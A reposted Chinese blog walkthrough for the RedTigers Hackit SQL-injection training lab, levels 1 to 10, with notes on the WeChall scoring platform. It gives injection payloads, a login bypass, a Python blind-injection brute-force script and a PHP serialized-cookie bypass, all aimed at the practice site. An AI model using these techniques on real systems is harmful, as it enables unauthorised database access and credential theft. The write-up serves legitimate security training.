php 0815 wechall,渗透测试演练平台RedTigers Hackit通关writeup以及wechall平台介绍

本文转载自Redtiger Hackit Writeup

RedTigers Hackit是一个训练SQL注入漏洞和PHP方面的网站,地址为https://redtiger.labs.overthewire.org/。相比hackinglab上面考察的常规SQL注入,redtiger上面的题目更多考察的是对于程序逻辑的思考,需要思考后台php代码是如何编写的。如果有一定的网站编写经验或者是网站的渗透经验,那么做这些题目会比较简单。根据作者的说法,所有的题目都是根据他发现的真实的漏洞编写的。

这个网站也是wechall的合作平台,可以通过做redtiger来获取flag然后提交到wechall上面获取积分。wechall和很多类似于RedTigers Hackit的平台都有合作,这些平台上做题获取flag之后都可以在wechall上面计分并且排名。根据网站上面的要求,不能公布答案,而且题目数据不时会有一些变化,所以这篇文章只是简单写一下做题思路,没有flag。

level 1

常规的SQL注入。先用order by猜有几列,再用union select查出username和password。

0818b9ca8b590ca3270a3433284dd417.png

拿到flag之后到下图这个地方提交,提交之后会显示你得了多少分,之后的题目类似。我对wechall的设计也是无语了,这个提交的页面找了至少半个小时。在首页放一个submit flag的按钮不行吗???

0818b9ca8b590ca3270a3433284dd417.png

level 2

这里我们用常见的万能密码绕过。用户名随意,密码' or '1'='1即可。

0818b9ca8b590ca3270a3433284dd417.png

level 3

题目的提示是Try to get an error。我们点一下TheCow,url变成了http://redtiger.labs.overthewire.org/level3.php?usr=MDYzMjIzMDA2MTU2MTQxMjU0。

0818b9ca8b590ca3270a3433284dd417.png

我们把usr变为一个数组,然后提交试试。

0818b9ca8b590ca3270a3433284dd417.png

顺利得到了报错信息。看看报错信息中的文件。

0818b9ca8b590ca3270a3433284dd417.png

实际上这个文件就是对传进来的参数进行加密和解密。构造的明文为' union select 1,password,2,3,4,5,6 from level3_users where username='Admin,加密后得到

https://redtiger.labs.overthewire.org/level3.php?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw

0818b9ca8b590ca3270a3433284dd417.png

level 4

主页上也说了,这一关是盲注。那么我们只有写个程序来跑一下了。

import string

from re import *

from urllib.request import *

answer=""

char=string.printable

login ={'Cookie':'level4login=there_is_no_bug'}

url="http://redtiger.labs.overthewire.org/level4.php?id=1%20and%201=(select%20count(*)%20from%20level4_secret%20where%20substr(keyword,{0},1)='{1}')"

for q in range(1,22):

for i in char:

test=(url .format(q,i))

request=Request(test,None,headers=login)

res=urlopen(request)

s=res.read().decode()

if(findall("Query returned 1 rows.",s)):

print("{0} ".format(q)+i)

answer+=i

break

print(answer)

0818b9ca8b590ca3270a3433284dd417.png

level 5

根据提示密码要md5加密,构造出' union select 0x61646d696e as username, md5(123) as password#。

0818b9ca8b590ca3270a3433284dd417.png

level 6

测试http://redtiger.labs.overthewire.org/level6.php?user=1',页面报错,那么说明在user字段是存在注入的。执行到http://redtiger.labs.overthewire.org/level6.php?user=1 order by 6%23,页面报错,那么应该有5个字段。

执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 from level6_users where status=1%23显示User not found。

0818b9ca8b590ca3270a3433284dd417.png

执行http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,username,3,4,5 from level6_users where status=1%23返回了username。

0818b9ca8b590ca3270a3433284dd417.png

无论把password放在哪一位都没有结果,猜想后台进行了两次查询。

$sql1 = select username,password from level6_users where id=xxx;

$sql2 = select username,email from level6_users where username=."'".$username."'";

下面给出我们的payload。

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1#,3,4,5%23

$sql1 = select username,password from level6_users where id=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1%23,3,4,5

$sql2 = select username,email from level6_users where username='admin1' union select 1,2,3,password,5 from level6_users where status=1

页面报错,尝试十六进制成功。

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23

0818b9ca8b590ca3270a3433284dd417.png

level 7

题目上已经说明了,no comments, no substr, no substring, no ascii, no mid, no like。过滤了注释,substr,substring,ascii,mid,like。加一个单引号报错。

0818b9ca8b590ca3270a3433284dd417.png

那么sql语句是SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'%' OR text.title LIKE '%'%')。用order by猜字段,发现order by被屏蔽了,尝试用union select。这里提交数据最好用temper data之类的工具。

0818b9ca8b590ca3270a3433284dd417.png

0818b9ca8b590ca3270a3433284dd417.png

最终,我们可以得到字段长度是4,显示位是3,4。

0818b9ca8b590ca3270a3433284dd417.png

在知道了显示位之后,接下来就需要获取autor的内容。

0818b9ca8b590ca3270a3433284dd417.png

0818b9ca8b590ca3270a3433284dd417.png

提交TestUserforg00gle,得到flag。

0818b9ca8b590ca3270a3433284dd417.png

level 8

在Email处加一个引号,报错。

0818b9ca8b590ca3270a3433284dd417.png

猜测后台的sql语句应该是update table set name='inputname',email='inputemail',icq='inputicq',age='inputage' where id=1,那么我们在Email字段输入hans%40localhost',name=password,icq=',执行的sql语句将会是update table set name='hans%40localhost',name=password,icq='',email='inputemail',icq='inputicq',age='inputage' where id=1。因为在update语句中出现了两个相同的name字段,实际上name字段的值会被赋为后一个。

0818b9ca8b590ca3270a3433284dd417.png

0818b9ca8b590ca3270a3433284dd417.png

level 9

在text中添加引号发现会报错。

0818b9ca8b590ca3270a3433284dd417.png

猜测后台的sql语句应该是insert into tablename(autor,title,text) values ('inputautor','inputtitle','inputtext'),那么我们在text字段输入123'),((select username from level9_users limit 1), (select password from level9_users limit 1),'456,执行的sql语句将会是insert into tablename(autor,title,text) values ('inputautor','inputtitle','123'), ((select username from level9_users limit 1),(select password from level9_users limit 1),'456')。

0818b9ca8b590ca3270a3433284dd417.png

0818b9ca8b590ca3270a3433284dd417.png

0818b9ca8b590ca3270a3433284dd417.png

level 10

同样使用tamper data得到点击login时提交的数据。

0818b9ca8b590ca3270a3433284dd417.png

base64解码得到a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}。

$myarray = array(

"username"=>"Monkey",

"password"=>"0815password",

);题目要求我们用TheMaster登录。把username改成TheMaster,password改成boolean类型的true即可绕过。a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;},base64编码之后是YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=。

0818b9ca8b590ca3270a3433284dd417.png

0818b9ca8b590ca3270a3433284dd417.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值